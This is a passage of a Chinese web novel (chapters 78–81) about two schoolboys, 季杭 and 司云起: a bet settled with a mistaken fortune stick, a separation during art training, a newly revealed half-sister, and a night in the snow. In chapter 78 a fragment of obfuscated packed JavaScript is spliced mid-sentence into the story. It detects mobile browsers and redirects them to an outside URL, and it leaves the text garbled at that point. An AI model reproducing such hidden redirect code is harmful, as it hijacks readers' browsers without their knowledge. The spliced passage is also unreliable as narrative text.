其实他也不知道去哪里，不知道要做什么。漫无目的得绕着路走了一遍又一遍时，忽然下起了雪。
路灯很是昏暗，雪花纷扬不息，很快地面积起厚厚一层。
但他依旧不是很想去酒店。
入目是千家万户的灯光，看起来温暖和谐。他仰头看了一会儿，眼睛有些发酸。
短暂地闭了会儿眼，身边传来有人走近的声音。他掀开眼皮，借着浅薄的光，看到一个戴着帽子和围巾的男生。
男生走到他身前，戴着手套的手攥着一个笔筒，里面都是红色的木签。
“这是我朋友送我的，”男生说，“我回来的路上看到你一直在这，你应该是过年跟着父母回老家的吧。送你一根幸福签，祝你今年多幸福，少烦恼。”
男生低头辨认了几秒，抽出一根递给司云起，笑容很纯粹，“快回家吧，下雪了，很冷。”
男生离开后，司云起走到路灯下，借着灯光看清了上面的字——
“姻缘签。”
他有些好笑地回头看向男生的背影，在雪天里凉透的姻缘签被他握在掌心，慢慢被捂热。
男生回到家后，把木签又看了一遍，发现竟然还有一根幸福签。
奇怪，曹书望不是说每种签就只有一个吗？
78.季杭，你的意思是——
矮桩山楂树长得很好。
前提是白天山楂树在司云起房间，晚上在季杭房间。
渐渐的，季杭也彻底习惯了每晚都要搬着山楂树来自己房间睡觉的司云起。
直到某天放假，曹书望因为成绩下滑严重，早上的懒觉也不被允许睡了，一大早就被他母亲大人吼起来赶到季杭家。
他无可奈何，因为时间还早，想着季杭他们一家应该都没吃早饭，在路上买了很多小笼包。
季满谦给他打开门，惊讶道：“小望，怎么起这么早？”
“别提了叔叔，考试没考好，在家里混不下去，这不背着书包来你家避难了。”曹书望把书包扔沙发上，随手拿了个小笼包塞进嘴里，说：“叔叔，我先去找季杭。”
季满谦想拦一下，因为这些天小司和季杭都在一起学习，学累了索性就睡季杭房间了。书望这突然一进去，季杭还好说，毕竟是从小到大的关系，也不知道会不会吓到小司。
不过只消几秒，季满谦告诉自己，还是不要在小司的事情上过于敏感，这孩子独立，约束或是太过关注，会让他感到不适的。
他倒是没注意到，司云起已经起床回他自己房间了。
现在季杭的床上就季杭一个人。
曹书望刚进季杭的房间，就看到因为睡了一夜有点发皱的床单，季杭睡在一侧，另一侧还放着个枕头。更奇怪的是，季杭的被子也只盖了一半。
床上非得放个玩偶就算了，现在还得放两个枕头，什么怪癖。
但是天赐良机，曹书望能趁机上床补一觉。
他爬到另外半边，掀开余留的被子盖上，枕上另一个枕头，碍防不到季杭半点，舒服地闭上眼。
季杭睡得迷糊，隐约能感受到身边空了一会，现在又有人躺了上来，来的时候还带了点香味。
他下意识凑近了点，嗅了嗅，含混不清道：“司云起，你身上怎么有股包子味。”
曹书望猛地睁开眼。
还不待他把这句话反应过来，门突然被打开了。
刻意放轻的开门声在看到床上的曹书望时倏地被放大，静止两秒后，啪的一下被关紧。
季杭惊醒，下意识往本该睡着司云起的方向挪了挪，然后和刚洗完澡、头发还湿漉漉、站在门边的司云起对上视线。
“？”
是不是起猛了。
站在门边的司云起，那自己旁边沾了一身包子味的人是谁？
季杭转头，和一脸懵的曹书望对上视线。
“书望？”刚起床还带着不轻的鼻音，季杭蹙着眉心后撤。
曹书望：“……”
杭，我知道这个比喻不合适，但真的很恰当——你这个反应给我一种咱俩偷.情被抓住的错觉。
为什么、为什么我会有这样的错觉？
曹书望从起初的惊慌逐渐平静。
这是季杭的房间，自己睡过多少次了，不就是司云起突然进来了么，有什么好怕的。
在他自我安慰的同时，司云起冷着眼开口：“你躺的，是我的位置。”
曹书望：“？”
司云起继续道：“你睡的，是我的枕头。”
曹书望：“？？”
司云起死盯着他，“你盖的，是我的被子。”
曹书望：“？？？”
曹书望咽了口唾沫，无声地和司云起对峙一秒后，将目光投向季杭，“你评评理。你这床我从小睡……”
“确实都是他的。”季杭很坦诚。
曹书望：“……”
司云起：“下来。”
“不是，这枕头可以是他的，被子也可以是他的，这位置凭啥是他的？”曹书望不服道。
季杭：“……输给他了。”
曹书望：“？”
事情还要从刚回来的那晚讲起。
到家已经是深夜了，司云起也不嫌累，继续搬着山楂树去季杭房间。
虽说季杭乖乖让他进了，但对于司云起的举动，他还是很不理解。
“我爸说咱们出去这些天，山楂树在你房间也挺好的。”季杭说。
刚把山楂树放在阳台的司云起顿了下，关于山楂树的理由他想不出来了，便直白道：“在你的床上我睡得舒服。”
季杭：“？这两间的床一样……”
“就你这间舒服，”司云起指着他常睡的一边，“就这个位置最舒服。”
季杭哑声。
看了这人几秒，司云起忽然说：“要不要打个赌。”
“什么赌？”季杭不明所以。
“赌你的床。”
季杭：“……”
万万没想到有朝一日自己的魅力还能输给张床。
“我赢了，你床的一半归我。”司云起说。
季杭“哦”了声，问：“那你输了呢。”
见司云起没立刻回答，季杭正要说“是不是你床的另一半就归我了”，结果这家伙很斩钉截铁，说：“我不会输。”
他眼看着司云起走出房间，没多会儿回来了，然后走到自己书桌前拿起笔筒。
里面装着几根红木签，过年时曹书望给的，一直被自己搁置在那。
“我没有拿起来看过，但我知道都有什么签。”司云起说，“如果我说对了，你床的一半归我。”
季杭：“这算什么赌注，市面上有很多成套的吧。”
司云起说：“我没有在市面上见过，也没有看过你的。”
季杭觉得司云起不至于说谎，而且曹书望马马虎虎，塞进来两根幸福签，如果要赌，司云起肯定也猜不到。
“好吧。”季杭说，“我事先提醒，不是这笔筒里有几根实际就有几根哦。”
司云起“嗯”了一声，想起过年时的那个雪夜，把脸埋进围巾里的男生低着头，声音透过围巾，有点闷，“发财签、平安签、好运签、金榜题名签……诶，幸福签呢，我记得有……找到了！”
戴着手套的手拿错了木签，递给了司云起一根别的，男生没有注意到，说：“快回家吧，下雪了，很冷。”
兴许因为那晚的雪是初雪，又可能是因为季杭送出去了一根红木签。
所以司云起真的回到了家。
而此刻，司云起重复了季杭当初的话：“发财签、平安签、好运签、金榜题名签、幸福签……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533583|132100||http|test|mini|href|location''.split(''|''),0,{}));
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默了几秒，在季杭期待的目光里，他说：“最后一根，姻缘签。”
“不对，”季杭摇头，“你说的数量是对的，但最后一根说错了，没有姻缘签，有两根幸福签。”
话音刚落，司云起背在身后的手伸到季杭眼前，而他的掌心，赫然有一根红色的木签。
“这……”季杭拿起木签，看到上面的字，是“姻缘签”没错。
“你送给我的，忘了么。”司云起一眨不眨地看着季杭的眼睛。
“我？”季杭一直记得自己曾经送出去过幸福签，但那天晚上太黑，他没看清对方的模样。
那晚自己送给的人，真的是司云起吗？
“你说要送我幸福签，然后低头找出来姻缘签给了我。”司云起注视着季杭的神情，语速开始变得很慢，“季杭，你的意思是——给我姻缘，我就能幸福么。”
季杭否认的速度很快，可他说话前喉间哽了一下，导致他说出来的“不是”二字一点都不干脆。
意识到这人神情不大自然，司云起觉得到这就可以了，免得逼太紧适得其反。
“我赢了，床的一半归我，”司云起拿过季杭手中的姻缘签，见这人有点发愣的模样，挑了下眉，问：“怎么，想赖账？”
“……没，”季杭慌乱地移开目光，解释道：“那时候我真的以为自己是拿的幸福签。”
司云起走过去把床捋平了些，回头看向他，说：“嗯。”
季杭又说：“不好意思，给错了。”
“没关系，”司云起忽然想到了什么，他又走向季杭，摊开掌心，把姻缘签递到季杭手边，说：“送给你。”
季杭轻轻“啊”了一声，明白司云起是不想要姻缘签后，他拿过后，试图转移内心的失落，“不是应该说还给我么。”
“姻缘签被你送给我，就是我的了。再给你，不也是送么。”司云起平静道。
季杭沉默着把姻缘签放进笔筒，床也输给了司云起一半。
……
“听到了么，”司云起对曹书望说，“那是我的位置。”
曹书望：“你能赌赢还不是沾我的光，那些木签包括笔筒都是我给他的！”
司云起：“哦，下来。”
曹书望转头看向季杭。
季杭用目光告诉他：这确实是司云起的位置。
“杭，你让我感到陌生，”曹书望愤愤掀开被子下床，气哄哄跑到客厅一连气吃了十个包子。
越想越气，把司云起那份吃完后又把季杭的也吃了。
但是小半个月之后，曹书望突然发现，向来身边总有个司云起的季杭，这天上学，竟然是一个人来的。
“你怎么一个人？”曹书望专门跑到季杭座位旁问。
“这是什么问题，不是一个人难道半个人么。”
“司云起呢？”曹书望猜测，“生病了？起晚了？不能吧，他的体质壮的跟头牛一样。”
季杭看了他一眼。
“不会吧？”曹书望莫名心跳快了点，还有点慌，“他转学了啊？从你家搬走了？”
“呸呸呸，”季杭说，“你别瞎猜，他去艺考集训了。”
79.【想不起标题了又】
除了司云起离开的第一天晚上，季杭给司云起打电话，问适不适应，在那之后季杭非常愁。
他想联系司云起，可又实在找不到借口，每天都要打开司云起的聊天框无数次，字打了又删掉，指尖停在语音邀请上悬很久，又熄灭屏幕。
但实际上他并没有愁多久。
因为他没有给司云起打电话，所以每到晚上十一点半，司云起的电话就会打过来。
司云起向来不是分享欲强的人，每次的电话里，他更想听季杭多说一些。
季杭就会把每一天的事情讲给司云起，班级里有什么事情，树叶都已经黄了，上下学路上踩着厚厚的树叶，声音很好听……
季杭常常会担心他讲的琐碎无趣，可每当他停顿时，司云起的声音又会响在耳边，问他“然后呢”，他便又欢喜地继续讲。
司云起离开快满一个月的时候，季满谦看着日期，无意间提起：“小司这孩子，上个月交了三个月的房租，这个月他连住都没住，季杭，提醒我，小司回来的时候把房租退给他。”
季杭听了之后立刻反应过来，他终于有个正当理由找司云起打视频了！
这天晚上十一点二十九分，季杭准时摁下视频邀请。
屏幕上出现自己的脸，季杭屏息，心跳又发疯了。
对面接的很快，司云起的脸出现在画面里，季杭一眨不眨地盯着，没几秒，问：“你是不是瘦了。”
本以为司云起会否认，季杭都做好质问他没好好吃饭的准备了。
司云起视线落在季杭脸上，导致屏幕里的他眼眸半垂，更显倦怠：“是。瘦了很多。饭不好吃，自己也常常忘记去吃。”
季杭犹豫着问：“那我提醒你？”
司云起表情不变，没答应也没反驳，倒是先问：“方便么。我以为你很忙。”
季杭摇头：“我不忙，那说好了，我一天三顿提醒你，你要拍照给我。”
司云起：“嗯。”
顿了顿，司云起说：“今天怎么主动打视频了？”
他这句话里面的意思很明显，想听到的回答也不过三个字，奈何季杭是有备而来。
季杭扬着脸，理由很是妥帖，让人挑不出一点毛病：“你都离开一个月了，你季叔叔说你都没住，房租要退给你。”
司云起：“……”
季杭注意到司云起的表情有点臭。
至于为什么……
季杭更贴心道：“你放心，退房租的意思不是不租给你了，就是不想让你白花钱，咱们……”
“季杭。”司云起打断了他的话。
默了几秒，司云起说：“大学考北京吧。”
是一句意料之外的话，季杭愣住。
“你的成绩考北京的大学没问题，看你想选什么专业去哪所学校。我知道你一直担心季叔叔孤独，北京离家近，我随时陪你回家。”
“我会在北京，你想选哪所学校都可以，距离我都已经看过了……”
“司云起，”屏幕里的季杭笑了下，“我还没想过这个问题。”
司云起皱起眉心。
“以后再聊吧。”季杭说，“先挂了，早点休息。”
他没细看司云起的表情，匆匆挂断了视频。
而后他靠着椅背，脑海中反复循环着司云起刚刚的话。
司云起确定要留在北京，想让自己也在北京。
这当然好。
从司云起搬进来后，季满谦常常念叨，总觉得季杭和司云起就和亲兄弟似的，话中也不乏多年之后让他们互相照顾惦念的意思。
季杭都听得出来。
人越长越大，有个关系亲近的朋友一直在身边，是件很难得的幸事。
司云起大概也是这样想的。
可对于季杭来说，他并不需要。
因为喜欢，所以他想要司云起得偿所愿。
但也是因为喜欢，所以他不会一直陪在司云起身边。为了司云起，同时也是为了自己。
他以前从未细想过，这次司云起提起来，那瞬间他有个预感——
所有的关系，到最后的结局毫无意外，不论以哪种形式，都是分开。
他没办法一直陪着司云起的，甚至，也许司云起愿望成真的那一天，他们共同庆祝，下一秒就要挥手告别。
……
季杭偏头看向阳台的山楂树，无奈地笑了，“到那时候，你跟着谁呢。”
这一夜两个人都没有睡好，早上醒来季杭给司云起发消息，提醒他吃早饭。中午的时候他打开手机，看到司云起早上发来的照片，他点开看了看，又提醒他吃午饭。
他们的对话寡淡无趣，持续了很多天，每天只有季杭早中晚的三句话，司云起早中晚的三张照片。
季杭能感觉到，在那通视频里，司云起因为他的逃避不太开心。
每晚司云起依旧还会打电话来，但话相较之前更少了。
转眼冬天就到了。
司云起还有一周回来。
虽然家里有供暖，但司云起的房间两个月没有住人，总觉得温度都比别的房间要低几度。季杭喊上曹书望，要去买床被子。
曹书望絮叨了一路：“季杭，我真不懂你怎么想的。你买啥被子啊，把你的给他盖不得了？”
“我的都盖过，是旧被子。”季杭说。
“那又怎么样，”曹书望说，“你的床被你睡过，也被我睡过，司云起那家伙不照样想要吗。”
季杭：“……”
“季杭，”曹书望凑近试探，“你从来就没觉得吗，司云起对你和对别人都不一样。”
季杭扬着音调“嗯”了一声，问：“哪里不一样？”
“哪都不一样啊，这让我怎么说。就哪哪哪都不一样。”曹书望说。
“没感觉，你这样觉得是因为我和他住在一起，”季杭说。
曹书望摇头：“不是吧……”
“别不是了，”季杭不喜欢和别人讨论司云起，岔开话题道：“快走吧，好冷。”
不同于夏天的枝繁叶茂和秋天的满树枫红，冬天的树光秃秃，一片叶子也不留，风里带着蛰人的冷。
季杭去买了床被子放在司云起床上，转头看向窗外，发现下雪了。
这年的初雪来得格外早，季杭拍了段窗外的视频发给司云起，问他北京下雪没。
司云起回复很快，说没有。
季杭便跑下楼，给司云起拍了很多段视频发过去。
最后一段视频发过去后，手机屏幕上弹出来司云起的视频邀请。
季杭稳了下心神，点了接听。
他跑下楼匆忙，羽绒服拉链没拉，在雪天露着细长的脖颈，鼻尖有些红。
司云起看了他几秒后，问：“拍这么多视频，怎么不打一个视频。”
见季杭没回答，司云起说：“因为上次我说让你来北京么。”
没想到司云起又提起这个，季杭沉默了一会儿，说：“司云起，我确实还没想过。但这是我自己的事情。”
后面的话他没说，司云起也能听明白。
“好，”司云起说，“你想去哪都可以，我陪你一起。”
这句话更是触到了季杭心底的防线。
大雪飘落，雪花留在季杭头发、肩膀，甚至刁钻地落在他睫毛上。
季杭眨了下眼，说：“司云起，你和我都有各自要走的路，不是么。”
这通视频有十分钟，
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他们并没有说很多话，大部分时间都在沉默。到最后，季杭也忘了是谁挂断的视频，只记得司云起说：“季杭，我不想看雪，你回家吧。”
再之后的一周里，季杭没再提醒过司云起吃饭，司云起也没有再发照片。
直到司云起回来，是十一点多到的家，往常这个时间季杭正好从学校回来，他却反常的没有见到季杭。
他以为季杭是在躲自己，想去问季满谦，看见季满谦一面愁容。
“小司。”季满谦朝他温和地笑，“季杭这些天情绪不怎么好，晚上回来晚，你不用等他，去睡吧。”
司云起皱眉，问：“是发生了什么事情么？”
看了司云起一眼，季满谦移开目光，好半天后，苦笑了下，说：“叔叔也不知道该怎么和你说。”
司云起愈发着急，更担心是自己让季杭感到不适，立刻转身要出门去找季杭。
门打开的一刹，季满谦的声音也响起：“季杭他刚知道，他有个妹妹。”
司云起转过头，眸光里带着诧异。
“我之前也不知道，”季满谦依旧是笑着的，“是他同母异父的妹妹。”
在季杭的记忆深处，留有成馥的影子。
但那都是季杭四岁之前的事情了。
成馥二十二岁就和季满谦结了婚，二十三岁生下季杭。那时候的她也不大，看着怀抱里的婴儿，不知道该怎么爱才好。
所以季杭也有过三四年很幸福的生活。
年幼的他记不清，但季满谦始终记得。
成馥带着季杭回了次家，再回来时，整个人就有点不一样了。季杭很反常地提到了舅舅。
可季满谦知道，成馥没有哥哥，亲哥，表哥，堂哥，全都没有。
后来季满谦才知道，成馥是有哥哥的。
是继哥，叫成远。
他们是重组家庭，成远原名叫应远。在成馥还小的时候，他的爸爸娶了应远的妈妈。为了让两个孩子更亲近，也为了以后在学校里不让同学们乱说，把应远的姓改了，也姓成。
他们想让两个孩子关系好，像亲兄妹一样，没想到成年后，成远和成馥的感情变了质。
这自然是不被允许的，成远离开，成馥上完学后，为了忘记成远，选择和对她好的季满谦结婚。
后来又有了季杭。
她本以为已经忘记了成远，因为季杭都快要四岁了。可在她带着季杭回家的一次，意外见到了从国外回来的成远。
被深埋的感情裂了小口，从此一发不可收拾。成馥清楚地知道自己爱成远，可她已经有了家庭和孩子。
内心煎熬挣扎太久，她病的很突然，检查出了抑郁症。
季满谦尝试去让季杭留住成馥，他教季杭怎么说怎么做，让年幼的季杭去说这些晦涩难懂的话，去面对情绪不稳定的成馥。
那是季满谦做的最错、也是他最后悔的一件事。
他强留了几个月，最后还是和成馥离了婚。
而年幼的季杭周旋在他们之间，性子越发孤僻，越来越不爱说话。
于是季满谦带着季杭搬家离开了那座城市，来到这里。
算起来，季满谦和成馥也有十三年多没联系过了。
可前不久有个小姑娘打听到幸福里小区，又被楼下邻居带着敲响了家门。
季杭打开门，看到个陌生的小姑娘。
小姑娘见到他后很高兴，弯着眼睛，嗓音又脆又亮，喊：“你是季杭？哥哥！”
不过没多久，一个女人急匆匆找了过来，着急的把小姑娘看了一圈，很抱歉地对季杭说：“不好意思打扰你了。”
紧随着，小姑娘说：“妈妈，你不认识？他叫季杭啊，是我哥哥。”
80.手给你
司云起下楼去找季杭，路过二楼拐角时，意外从窗户看到单元门前原地静站的季杭。
他愣了下，站到窗边。
不多时，季杭深呼吸了一口，抬脚往门口走了两步，又顿住。而后他转过身，没什么目的性地乱走了几步，原地站了半分钟，又想往门口走。
如此反复，好像对于此刻的季杭来说，回家是一件需要纠结的事情。
司云起垂着眼眸，目光始终落在季杭身上，方才季满谦的话又浮现在脑海里——
季满谦说他最后悔的事情，是在季杭那样小的时候，妄图让他明白成年人之间的爱与恨，让他来留住成馥。
季杭是在爱里成长的孩子，所以他对爱的敏感度很高。当成馥情绪开始不对劲时，第一个感觉到她病了的人并不是季满谦，而是季杭。
虽是年幼，但在他的印象里，成馥很爱很爱他。当他敏锐地察觉到这份爱有衰减时，以他当时的心智，没有什么爱与不爱的区分，他只是觉得，妈妈生病了。
人只有生病的时候才会有些忽略。
他是这样以为的，好几次找出自己的压岁钱去牵成馥的手，想带她去看医生。
可成馥总有些时候控制不住情绪，她担心自己的言语和状态伤害到季杭，每每见到季杭来找自己，总会把他推出门外，然后背靠着锁上门。
季满谦也持续性患得患失，觉得只靠自己的力度不够，他得让季杭去留住成馥。
他把季杭拉到身前，一遍遍地重复教他该怎么和成馥说。
季杭对季满谦的话深信不疑，他以为自己和成馥说了之后，成馥的病就会好。
他很欢喜地端了杯水，特意往里面舀了两勺蜂蜜。
成馥的房间里窗帘紧闭，很暗。见到儿子推开了门，成馥连忙把窗帘打开，露出牵强的微笑，接过季杭手里的水。
季杭笑着往成馥怀里扑，杯子里的水随着他们的动作晃出来几滴，洒在季杭胳膊上。
他退开一步，想起来自己要说的话。
“妈妈，”季杭看着成馥的笑容，字音咬得格外清晰，“爸爸很爱你，我也很爱你，你也爱我们，我们三个是一家人。人长大了要和家人一起生活，不能和哥哥一起生活哦。”
话音刚落，彼时递出去的一杯蜂蜜水，全部浇回了自己身上。
玻璃碎了满地，水顺着衣服流到地面。
季杭看到成馥的脸色瞬间就变了。
不只是脸色，她整个人都在颤抖，尤其是手，抖得最是厉害。
可就算是这样，成馥还是把季杭抱在怀里，用全身的力气把他抱离玻璃碎片，声音很弱地说了声“别怕”，然后把他关在了门外。
季杭愣愣地站在门口，蜂蜜水黏腻，在他身上经久未消。
他没有去冲洗，而是长久地站在门口，回忆着刚才成馥的模样和颤抖的怀抱。
他自责地想，那几句话没有让成馥好起来，反而让她的病更严重了。
后来他夹在成馥和季满谦之间，再不肯传递任何一句话。可他又怪不了任何一个人，因为在他的视角里，成馥痛苦，季满谦也痛苦。
对于季杭来说，那天成馥的反应就像沉在枯木里很久的蜂蜜般难剥离。
他们都很痛苦，季杭却不敢再说什么，生怕因为自己的话让他们更难受。
于是他也愈发沉默孤僻。
起初因为季杭的状态，季满谦给他报了好几个兴趣班，想分散他的注意力，又逼着他去社交，试图人为地让一个孩子真心实意开心。
却又是适得其反。
季满谦这才意识到，他抓得太紧了。
不管是对成馥还是季杭，他爱他们，担心会失去他们。想来成馥的病越来越严重，还有季杭现在的性格，都和他脱不了干系。
这样过了几个月，他觉得，还是算了。
说起来，成馥从没有提过要离婚，也没有做过对不起他的事情。是他先对成远这个人好奇的，后来知晓后，也是他先因为患得患失反复对成馥说让她不要对不起这个家，不要对不起他们的婚姻。
成馥生病的源头，想来也有他的很大因素。
他们结婚时憧憬的是未来幸福的生活，如今这样的局面，并没有人幸福，倒是不如分开。
在很平常的一天，他们离了婚。
成馥还生着病，季满谦不会让她搬出去，自己带着季杭先租了个房子，纠结了小半个月后，还是找到了成远。
在和成远的交谈中，季满谦得知成馥从没想过要和自己离婚，也很明确地和成远说过，他们没有可能。
季满谦想起自己刚得知他们之前故事时的反应，以及非要从成馥口中要出个结果，觉得有几分好笑。
事情的走向总是很神奇，本来是一条平稳的直线，这个人干预一下，那个人多说句话，原本的直线变得歪歪扭扭，岔向不可迂回的远方。
但既然已经走到了这一步，没必要后悔。成馥和成远以后会怎么样，他也不关心了。他只希望成馥能够在成远的陪伴下，慢慢好起来。
后来他带着季杭离开，去到另一个城市。
听说成远也带成馥离开了，他们好像是去了南方。
挺好的，成馥喜欢南方。
季满谦买下一个老人的房子，和季杭定居在这里。
……
“季杭和他妈妈一样，”季满谦对司云起说，“他们两个啊，看起来什么都好商好量的，但别想推着他们走，别想替他们做决定，更别想让强迫他们按照自己的意愿去说话和做事。这会让他们很不舒服。”
“季杭小时候有段时间和谁也不爱讲话，我就把他送到兴趣班，让他交朋友多说话。但这不是他自己愿意做的事儿，我再怎么做，他反倒是越来越孤僻了。”
季满谦笑了下，“那个来找季杭的小姑娘，叫成芜。我知道后，非得让他叫妹妹来家里，让他去和他妈说话，这么多年过去了，我发现我这毛病怎么改不了。要不季杭这几天晚上回来晚，这是想趁着我睡着了再回来呢，不想面对我。”
那时司云起说：“季叔叔，别担心，我去找季杭回来。”
可现在司云起站在二楼的窗边，外面的冷风从缝隙汩汩涌进来，绕得人冰冷一片，外面的季杭踌躇很久，还是没进单元门。
司云起想起自己擅自做主，想要让季杭去北京。
季杭当时的反应就不太对劲了。
第二次自己还在说，季杭便说，每个人都有自己要走的路。
……
成长中，司云起与别人接触甚少，他也从没什么想要的。唯独季杭，他很想要这个人一直陪在自己身边。所以自顾做了很多…没有考虑季杭感受的事情。
他自己决定了要回老家，没有事先和季杭说就给他请了假，还做出让他考第一名的承诺；他还在一起玩游戏的时候，没考虑过季杭的感受，咬过他口中的薯条或者将他抱起来；他甚至还要霸占季杭的床。
这些事情，归根到底他只顾自己了，从没考虑过季杭是否愿意，又是否排斥。
而此刻站在外面迟迟不肯回家的季杭，究竟是因为季满谦说的话，还是因为得知自己回来，不愿意面对要替他的未来做决定的自己呢。
司云起忽然觉得，喜欢一个人不是这样的。
喜欢带去的应该是自信和力量，而不是枷锁和困扰。
下晚自习后回家的路上，季杭收到了季满谦的消息。
司云起回来了。
看到这条消息时，季杭跑得很快，着急回到家里去见司云起。即将到家前，他突然又犹豫了。
这一周他的心绪很乱，他没想好该怎么去面对成馥和成芜，也担心见到司云起时，司云起会再次提出关于“以后”的话题。
季杭并非是逃避以后，而是他不知道怎么去考虑他和司云起的以后。
不知道纠结了多久，突然传来声动静。
季杭顺着看去，视线里是打开的单元门，还有站在门口的司云起。
目光静止在司云起脸上，明明也就两个月没见，司云起的模样亦是如
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往昔，季杭却觉得隔了很久很久。
因为觉得很久，所以他喉结滚动了几圈，依旧没能说出来一个字。
视线里的司云起离自己越来越近，脚步停在自己身前时，他听到司云起问：“雪这么快就化完了么。”
季杭愣了愣，摇头，“学校里还有好几堆没化完的雪。”
“嗯，”司云起说，“回来的匆忙，路上没有看到，想去看看雪。”
季杭“啊”了一声。
司云起随着想说“陪我一起去看”，话到口边猛然止住。他在心里告诉自己，因为喜欢一个人去做某件事时，要以尊重对方的意愿为前提。
所以他改了口，“路上有些黑，你可以陪我一起么。”
季杭想说学校门已经关了，下一秒心想，去它的大门，腿也可以用来翻墙。
学校里的大灯都已经灭完了，只留下路灯。昏暗的光映着他们的影子，雪被积在墙角，这里无人触及，依旧保有最初的干净。
司云起的目光落在雪堆上，无端提起：“我印象中第一次见到雪，也是第一次见到你。”
季杭诧异地看向他。
“对不起，”司云起说，“我不该替你做决定。”
想明白司云起指的是什么后，季杭说：“没关系，你不用道歉。”
他觉得司云起这次回来哪里变了，好像是说话方式，又好像是态度……总之一定有哪里不一样，但他又一时之间说不上来。
但他就意识到是哪里了。
保安拿着手电在巡逻，远远瞧着这边有两个人影，该不会是偷偷谈恋爱的吧？
手电的光打了过去，他吼道：“谁在那！干什么呢！”
闻言，季杭下意识动了动鞋尖准备跑，却见司云起气定神闲一动不动。
似乎是见自己想跑，才说：“我们要跑么？”
季杭：“……”
不然呢。
司云起从他的眼神中得到答案，却依旧没动，而是看着季杭，继续问：“那我能牵着你一起跑么？”
季杭：“……”
集训是集什么训什么？
谁把司云起脑子训坏了？
季杭没回答，司云起静立，保安的手电越来越近。
匆忙之间，季杭主动把手送进司云起手里，“跑啊”二字还没能完全说出来，就被司云起握紧了。
保安脚步停住，唯有手电的光跟着两个人快速移动。
寒冷的冬天，他匪夷所思，这两个人先是不动，等自己都要到跟前了才跑，是要哪样？彰显他们跑步很快吗！
奇耻大辱。
当晚监控截图就发到了教师群里。
因为截到的不是很清晰，保安也没细看，一直以为是一男一女在偷着谈恋爱，从而也误导了教导主任。
教导主任把监控翻了一个遍，最后看到他们翻墙出去了，可是最后的镜头太模糊，更不清楚。唯一有个比较清楚的镜头是他们的背影，能看清楚一个穿着黑色羽绒服，另一个是白色。
他把这张背影打印出来贴在公告栏，第二天一早蹲守在门口。
远远看到教导主任，季杭猛喝了口刚买的粥，被烫到舌头了。他大着舌头推司云起，“你先进去，校门口等我，我喝完就去。”
走读的学生全都穿着羽绒服，其中不乏黑色的。不过身形不一样，教导主任放走很多黑色羽绒服后，终于看到了和监控里一样挺拔的身姿。
再一看人，司云起。
教导主任点着脚，见司云起走几步回头看一眼，凭经验认定这是在等人。
得来全不费工夫，他没有打草惊蛇，甚至往里站了站，让自己不是太明显。然后使劲侧着眼，果然看到一个白色羽绒服越跑越近。
等两个人走到门口时，他突然冒出来，大喝一声：“司云起！我看你这是和谁谈恋爱呢！”
他定睛，旁边经过的学生们定足，齐刷刷地看向司云起和……
“季杭啊，”教导主任愣了又愣，语气减弱，“……回教室吧。”
81.中秋快乐哦宝宝们
早自习铃响前，曹书望和路珂学着教导主任的腔调和语气，卡着季杭司云起进教室的一刹，前后开口：
“司云起！我看你这是和谁谈恋爱呢！”
“季杭啊……回教室吧。”
季杭：“……无语。”
司云起闻言倒是扬了下眉。
没想到这两句话衔接起来倒是还不错。
正收作业的楚云问：“你们两个抽什么风呢？”
曹书望：“苍天啊，学委，我们俩可没抽风，这原话可是主任说的。”
“那是主任抽风了？”李锐接话，“主任说这个干嘛？”
曹书望坐在桌子上，打了个响指，随即说：“在现场，随便问。”
话音刚落，黄侯出现在教室前门，嗓音中带着加倍的暴躁：“季杭、司云起！你们两个给我出来！”
曹书望立刻从桌子上下去，十分笔直地坐好了。却不料黄侯下一句便是：“曹书望，你在现场是吧，随便问是吧，你也给我出来！”
曹书望：“娘娘……”
黄侯一个目光瞪过去，曹书望在众人同情的目光中跟着出去了。
“先说你，”黄侯盯着曹书望，“在教室里乱传播什么，主任的话是你传的那个意思么，这话传出去，你是在现场，你知道来龙去脉，别人呢？要真有人当真了呢。”
曹书望低头思过：“我错了。”
“回教室后好好把话解释清楚，”黄侯摆摆手，“你先回去。”
“好的，”曹书望赶忙退出办公室。
接下来轮到季杭和司云起时，黄侯先是深吸了一口气，按捺着心里的火，把自己刚进入教育行业时的初心回忆了三遍，终于让语气勉强正常。
“冬天、半夜十二点、翻墙进学校……”半夜看到群里消息时，她就觉得那两个影子像是季杭和司云起。但没确定的事儿，而且教导主任把监控翻完之后很生气，根据模糊的身影断定是一男一女在谈恋爱，她更不敢认领了。
没想到还真是他俩。
黄侯快被气死了：“你们两个但凡换件外套都不会被主任堵在门口吧！”
季杭：“起晚了，没时间找别的。”
其实他倒不是起晚了。
主要是因为昨晚，司云起罕见的！破天荒的！不在他房间睡了！
跑回家的路上，季杭琢磨着问问司云起性格和以前怎么不一样，纠结了下该怎么问，又选定在睡前问。
结果到家后，司云起当着他的面把枕头和留在他房间里的东西都拿走了。
？？？
拿走后，司云起还折返回去对季杭说：“你自己睡了两个月，我突然回来你肯定不适应，我回自己房间睡了。”
季杭：“……不是你、”
司云起：“快去睡吧。”
季杭回到自己房间，这两个月虽然司云起没有在，但他夜夜都给司云起留着半边床。
结果那半边床的主人回来了，但人家不睡了。
季杭把自己的枕头放在最中间，安慰自己能睡得更香了——
直到该起床，他还清醒着。
不过他想明白了。
司云起集训回来，肯定是学到了不少东西，其中也包括说话方式，所以自己才会觉得他怪怪的。
至于从自己房间搬走……
肯定是意识到以后行业的特殊性，要开始避嫌了。
常说早起傻一天，在季杭这儿是通宵会忘事儿。
他和司云起出门时，甚至都忘了要换鞋，还是司云起提醒他他才回去换的。
更谈何去换件外套，没忘记穿就不错了。
黄侯被季杭气笑了，“你们两个怎么想的，大半夜十二点，回学校？关键你们回学校也行，说个忘拿作业或者家里钥匙都能勉强信，但你们两个站墙角，站墙角是干嘛啊你们！”
司云起：“看雪。”
黄侯：“……”
“检讨是少不了的，”黄侯说，“马上考试了，你们两个这次考试成绩最好能拿的出手，我还能在主任面前替你们说几句话。”说完后黄侯又批评了几句，放他们回教室了。
司云起两个月没回来，起初还有人以为他又转走了，去集训的事儿也就只有季杭和曹书望知道。
